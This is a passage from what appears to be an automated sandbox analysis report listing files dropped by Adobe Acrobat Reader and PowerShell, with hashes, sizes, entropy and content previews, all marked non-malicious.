Preview:	{"analyticsData":{"responseGUID":"612a073b-b79c-4e68-8ace-7bbf7b4723c3","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736749553645,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.303747107491559
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUXEjDTzzmSg1c2LjcWkHvR0YwDoAvJfbPtdPeUkwRe9:YvXKXBUQTmT5LjIP/GDV8Ukee9
MD5:	14C63327B3661B44F60F27F478BA8D4D
SHA1:	B80B6EC16C348BC5C1DCB45CCD750F63E134F71B
SHA-256:	2EA86A94375D3CD2AFB1C6B4080C143CFAD4C43211F9CEC1824428F6FC547DB9
SHA-512:	881302659B31FC36068E03D035434C845F0821BF57B2C1E106CD1E4113E801BF1C7F749904A3FA630ED9747F9F59B85E1456FFED923D5F26B59E96A96B160BC6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"612a073b-b79c-4e68-8ace-7bbf7b4723c3","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736749553645,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.296102948855427
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUXEjDTzzmSg1c2LjcWkHvR0YwDoAvJf21rPeUkwRe9:YvXKXBUQTmT5LjIP/G+16Ukee9
MD5:	A194D451D1E90530F903801B904C210A
SHA1:	6C23815CB59847CFC7E804B97D4F5F9C1A603D57
SHA-256:	9CFCB9CB85188471A43AEBDCE4845C9EB470137880FCB92385F1705CF7EB3485
SHA-512:	E24EB07B8A598DB25CE1F65B35057F4FF82017828324BFA7A8D49A87E1FFDD669BBF7DBC49A1FE1AA4D5D0BDD39C12917AAE00985921C61BC8C435EE85A2B607
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"612a073b-b79c-4e68-8ace-7bbf7b4723c3","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736749553645,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.671013591792699
Encrypted:	false
SSDEEP:	24:Yv6XBUGmT5XIYamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSD:YvEuXFBgkDMUJUAh8cvMD
MD5:	0BC0112A962FFDD7D6CB5D998C10D5BF
SHA1:	4533589C8C450EB2EE3D2BB44299B6DF515C1223
SHA-256:	FB6A8251164DB81039150021D2C27F9EA62E1F0B767FDCE62C34E66D68B5153A
SHA-512:	D7B01BCB2F3E8D77B506BA4205F1C4115D91D9187A48A1E0CB1CF3BE9860470B438CAB3DC69754C70F9DDAAC6C572AB8B25CF128C7F79A518D76743050A11EED
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"612a073b-b79c-4e68-8ace-7bbf7b4723c3","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736749553645,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.272201838384762
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUXEjDTzzmSg1c2LjcWkHvR0YwDoAvJfshHHrPeUkwRe9:YvXKXBUQTmT5LjIP/GUUUkee9
MD5:	451CCD0DD3BA2A9F229ADAB5DC8A6574
SHA1:	3AFA87EDF9BC1CE4391C0B8D0E4BC54C2DDCD4EA
SHA-256:	ED639F8E86CE40D33376363B75FA6E1D507B21549B23DA67361EDE44CA1E1E98
SHA-512:	9D44CD4F8E3550BBE9B6A6A588E0CFDB8164D7ECA974F369F1D12C155548189C567362D285A122F352DC5F75EBC6B78D38BE4822243E3C025DA2A2EF65D24874
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"612a073b-b79c-4e68-8ace-7bbf7b4723c3","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736749553645,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.279594487101025
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUXEjDTzzmSg1c2LjcWkHvR0YwDoAvJTqgFCrPeUkwRe9:YvXKXBUQTmT5LjIP/GTq16Ukee9
MD5:	940FA052ACFF2FAB402CCA0A2E8E19D3
SHA1:	C7BB209EA133DCC906778356D4C2BB430745BF1F
SHA-256:	C9D19859CFB56187DEF680034C92D7AEEC2B1BF5CC142B8EBA1EC38F8908DCD9
SHA-512:	45D736B39DFAEEF124F4A4332A850A782596684C745E626189DB968BEEAED56FE06528BC86E691C2F4227812799868782436A04E5D7F8EA4A67718A733C638E8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"612a073b-b79c-4e68-8ace-7bbf7b4723c3","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736749553645,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.145322094571412
Encrypted:	false
SSDEEP:	24:YvhlFavgsayyLPmRh66DrR8kjM78j0SECvhI2To2LS2CVrA4Dbv5w9XSRuqOG:Yvh3peRh663M7OjmFIGrvD7i9X2
MD5:	0A838266FE8E03BCBEDE23DE015F69CB
SHA1:	37B5985212E2AF862D408B62D4ACDFA050440994
SHA-256:	EB598D58D04EDD3B7D4CB5A7FD1E8557675DBF2539EA59D90CAB4DF7A26AFA19
SHA-512:	AC0FC9907A00458BB90CE11B04D853BD723B1ECE024797E8403C78BBC6F96A333FB63452A373C726EE0DCD77776411899E33D06CD566F66525D1A4B010837517
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"905b1e6c373b58e2a1ba938aef00be36","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736572463000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"63571135c5fde90fbbb689df8491c632","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736572462000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"50a485d50c09b0cefd3b13b9260ca251","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736572462000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"d144d8c8807b2b968a8bf544395041fd","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736572462000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"0b8a85af67d6c4e048513067b7e0a205","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736572462000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"61998e02d26ccb17d1554dfc547ac54c","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3675589562276163
Encrypted:	false
SSDEEP:	24:TLBx/XYKQvGJF7urs9S6bqyKn6ylSTofcNqDuxZ+tEXKdqEKfS8EKfM1bapZ+tEF:Tll2GL7msMcKTlS8fcsuytrfIatI
MD5:	8DFB8D5FE3DA0940488CF5B6BD8EB723
SHA1:	CFBC260BE7889AF3F256D93481204B955738CA48
SHA-256:	3361E2ADA926A113C72ED6312D0B2ED0AAD976243A6D87AA62CF96E228630E36
SHA-512:	6DD03443D4F4C7B751A5AE48ED82C7645FF2703B074B509626C041D40A17FE75B1A008F1AFC5A49202F62F277B2DC12B388108C0BDBD5CCCBDF3E6DF2483E6F9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.8432465427436764
Encrypted:	false
SSDEEP:	24:7+t/Z6bqyKn6ylSTofcNqDuxZ+tE+KdqEKfS8EKfM1banbqXqLKufx/XYKQvGJFq:7MxcKTlS8fcsuytefImqGufl2GL7ms6
MD5:	B2F41E201BEB8A5928B4B413AFB30B6D
SHA1:	B7494574437108B15B1B9B1C83DA5680C9713C39
SHA-256:	49B39A55CF8C4E80F4BFBA424D08EDD08C95D96DE986B0CFB43BE9212A04249A
SHA-512:	3B38D99082725D94D24504F08F792829F08ECA61ACFB767D96B4C86E4617E90E9CA3097452C3A4B8A820DB1A0147AE5968AAC0023A601AD04AD05D60528B6B9F
Malicious:	false
Preview:	.... .c......1;...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgmc5i25EQwal1MW6uCHRBaVmPsYyu:6a6TZ44ADEmcWaliWj+RQIsK
MD5:	17BD597C25E40184C671C0EFA10E0748
SHA1:	EC7BD2ED8DFF70B6BB4E35EA83FA926E60F47FE2
SHA-256:	ED85B3F3F64C5D02AA3D716C5B39F1D39F238F8FC59CD01DA233652C20BE97F2
SHA-512:	240A0745553AFE7F56BB6F1D6B282617ABFB72C9D99E5026C43C8E3B594989B41F331196D8E86053B112A1477315032676FE92FE56CD3F8A1768BC5DDC440183
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI532a9.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.488809521505088
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88ClQH:Qw946cPbiOxDlbYnuRKdnH
MD5:	BE7CB1E515EBCE011F654BF00F1FE237
SHA1:	4350FE1A13D191683FBAF97F5CA09D6717F8E27E
SHA-256:	696F27F593CFF82E3ACAA0C862A1BB0D94DF00D91A9DB0C524F43C3D2A8C6A93
SHA-512:	BD53C0BECDF06295618294F96702091AD16324BF6ABF5C1158ADB73EEF8937714A331022DDF6DF16CF5CE12CA755C26005DFA493609AAF978CFA832E4ADB76CA
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.0.:.1.4.:.2.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1b5wrhae.uss.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xybvmbcv.pnx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 00-14-17-705.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.330589339471305
Encrypted:	false
SSDEEP:	384:usQfQQjZyDzISMjg0svDBjA49Y0/sQHpMVhrSWD0Wny6WxIWd44mJmtaEKHvMMwh:Ink
MD5:	5BC0A308794F062FEC40F3016568DF9F
SHA1:	14149448191AB45E99011CBBEF39F2A9A03A0D15
SHA-256:	00D910C49F2885F6810F4019A916EFA52F12881CBF1525853D0C184E1B796473
SHA-512:	CF12E0787C1C2A129BE61C4572CF8A28FC48039B2ADFD1816E58078D8DD900771442F210C545AD9B3F4EAEC23F6F1480F7BBF262B6A631160B20D0785BC17242
Malicious:	false
Preview:	SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:171+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.366314734678499
Encrypted:	false
SSDEEP:	384:sBt8kQp219b+qirCDO+9TN0p5O2OzN1m6NbNv3W0qgcdTguND6CrbWbGDsyEDoY0:qP0
MD5:	FD26FC10511165FD0DA56A5A9DCE1571
SHA1:	E6CB7DE8E497475F36FCF677A40B20AE342CFE22
SHA-256:	8181A7CC80379BC96CE80761B818C05B40EECB83B9B6A83B60080936AC3BB678
SHA-512:	5CA41E9745364AEC0CCC9E566536FFC8490467DAEE012F7AA2179FC95A16915A53A130E925CEA4A142F0581B2922E349C7EE2527F1F8217D0EB88D49100E23D4
Malicious:	false
Preview:	SessionID=b5ebd7c1-9e43-4726-b1f9-974f397c19dc.1736572457728 Timestamp=2025-01-11T00:14:17:728-0500 ThreadID=1648 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=b5ebd7c1-9e43-4726-b1f9-974f397c19dc.1736572457728 Timestamp=2025-01-11T00:14:17:732-0500 ThreadID=1648 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=b5ebd7c1-9e43-4726-b1f9-974f397c19dc.1736572457728 Timestamp=2025-01-11T00:14:17:732-0500 ThreadID=1648 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=b5ebd7c1-9e43-4726-b1f9-974f397c19dc.1736572457728 Timestamp=2025-01-11T00:14:17:732-0500 ThreadID=1648 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=b5ebd7c1-9e43-4726-b1f9-974f397c19dc.1736572457728 Timestamp=2025-01-11T00:14:17:733-0500 ThreadID=1648 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.379165525839357
Encrypted:	false
SSDEEP:	192:icbENIn5cbqlcbgIpLcbJcb4I5jcbKcbQIrxcbmCcbmIq6cb1:8qnXopZ50r7qV
MD5:	42CA31ACE322B30F0557E6C345CCDCB8
SHA1:	01E1ABD7AA580C8E738B4FC95673D148301846FD
SHA-256:	3F79FF6A8805031582BA9201CC4B3B1167E9B6570F493F4387EB1762DFF45E02
SHA-512:	8CBFECCAE86A9F1EA9D8791BBD0CDC5EF1B9EA6247102DF878ADE772B5C9E174CE2695186507C0C547E316A1F5633455EC7AEDFAB805CB6994A3AA89C8F20A37
Malicious:	false
Preview:	05-10-2023 10:01:02:.---2---..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:01:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\a4cbdf19-b798-493e-804e-f45625863831.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/I5fwYIGNPtdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07mWL07oXGZd:6fwZGD3mlind9i4ufFXpAXkrfUs0CWLk
MD5:	5C0A1FB0BB7451C58A60F3D53E0A4FA0
SHA1:	BD71F93955E1CA1C7215365F13BE3E5B7D0AE585
SHA-256:	1B87C9C9BB4EC668437AB527293828BA467D85E0B849A660C0E08178E1E57D75
SHA-512:	EE5C0A0FFD834E56DE9495F7807588F43003689A1F2C189485E463973143F27656975CDA7D4E4370ACC07F8E770262453C3563895A5CCA691BA0ADF5C774EFC0
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\c30f1a9d-dd3b-4be4-b275-7eb35f289f0e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\c5c4fc57-555e-401f-a282-344ba45ad62e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
